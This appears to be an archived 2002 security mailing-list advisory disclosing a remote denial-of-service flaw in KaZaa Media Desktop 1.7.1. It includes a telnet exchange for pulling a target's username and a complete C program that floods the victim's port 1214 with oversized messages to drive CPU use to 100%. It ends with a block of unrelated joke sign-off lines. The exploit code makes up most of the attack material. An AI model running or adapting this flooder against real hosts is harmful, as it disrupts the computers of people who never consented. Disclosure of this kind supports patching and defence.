Submitted by : Josh (joshat_private), omega (mtwoarat_private) on July 25th, 2002 Vulnerability : KaZaa Denial of Service Attack Tested On : KaZaa v1.7.1 Remote : Yes Fix : KaZaa v1.7.2 has been released and is a fix for the problem Big Thanks To : SooT for letting me crash your system a lot. Greets to : SooT, zen-parse, arcanum, lockdown, brian, Bryan S., #social on ptp, Jade There exists a denial of service attack in KaZaa Media Desktop file sharing utility that allows an attacker to force CPU usage to rise to 100% upon sending large messages to the victim. Basically it seems to have the same effect as opening an exceptionally large text file in some text editor. The added bonus is the decryption that is performed on the message, which adds to the CPU usage. Exploitation merely requires the I.P. of the victim and a username. The username can be obtained as such: $ telnet <ip> 1214 Trying <ip>... Connected to <ip>. Escape character is '^]'. GET / HTTP/1.1 // My input HTTP/1.0 404 Not Found // Server output X-Kazaa-Username: <the user name of the user> X-Kazaa-Network: KaZaA X-Kazaa-IP: <the_ip_you_typed>:1214 X-Kazaa-SupernodeIP: <censored>:1214 Connection closed by foreign host. Assuming you and the receiving user have the bandwidth to transmit and receive the message before the connection to the user's kazaa server times out, a good proof of concept length is 20 messages at 100 iterations of the 4026 byte message tell... 300 iterations 20 times will make it pretty evident. /* kazaa denial of service attack by Josh and omega */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <stdarg.h> #define PORT 1214 int main(int argc, char *argv[]) { int fd, numbytes, randnum, k; struct hostent *host; struct sockaddr_in them; char buf2[4026]; char buf[5000]; char *bigboy; int i, size, j; memset(buf2, 'a', sizeof(buf2)); buf2[sizeof(buf2)-1]='\0'; srand(time(NULL)); if (argc < 5) { fprintf(stderr,"usage: %s <hostname> <(this*4026) bytes per message> <username_of_target> <number_of_messages>\n", argv[0]); exit(1); } if ((host=gethostbyname(argv[1])) == NULL) { perror("gethostbyname"); exit(1); } them.sin_family = AF_INET; them.sin_port = htons(PORT); them.sin_addr = *((struct in_addr *)host->h_addr); memset(&(them.sin_zero), '\0', 8); size=(4042*atoi(argv[2]))+280+1; bigboy=(char *)malloc(size); snprintf(bigboy, size, "GET /.message HTTP/1.1\nHost: 68.10.112.148:1214\nUserAgent: KazaaClient Jan 18 2002 18:53:21\nX-Kazaa-Username: 31337h4x0r\nX-Kazaa-Network: KaZaA\nX-Kazaa-IP: %d:1214\nX-Kazaa-SupernodeIP: %d:1214\nConnection: open\nX-Kazaa-IMTo: %s@KaZaA\nX-Kazaa-IMType: user_text\n", randnum, randnum, argv[3]); /* the msg appears as one msg to the receiver, but comes in intervals of 4096 bytes... */ snprintf(buf, sizeof(buf), "X-Kazaa-IMData: %s\n", buf2); for(k=0;k<atoi(argv[2]);k++) { strcat(bigboy, buf); k++; } strcat(bigboy, "\r\n\r\n\r\n\r\n\r\n"); fprintf(stdout, "done preparing packet... sending\n"); for(i=0, k=0;i<atoi(argv[4]);i++) { if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); } else { if (connect(fd, (struct sockaddr *)&them,sizeof(struct sockaddr)) == -1) { perror("connect"); } else { printf("sending %d message\n", k); write(fd, bigboy, strlen(bigboy)); k++; close(fd); } } } fprintf(stdout, "\n%d out of %d attempted got through\n", k, i); free(bigboy); return 0; } <Just crap> Paranoia is simply an optimistic outlook on life. Organized people are just too lazy to look for stuff. Killer animals zap animals again in slimey sludge. People yack when a root evades. While observing moths frantically try to enter a light bulb I have been able to extract and algorithm to describe their movements. Fat people are harder to kidnap. </Just crap>
This archive was generated by hypermail 2b30 : Thu Jul 25 2002 - 15:10:18 PDT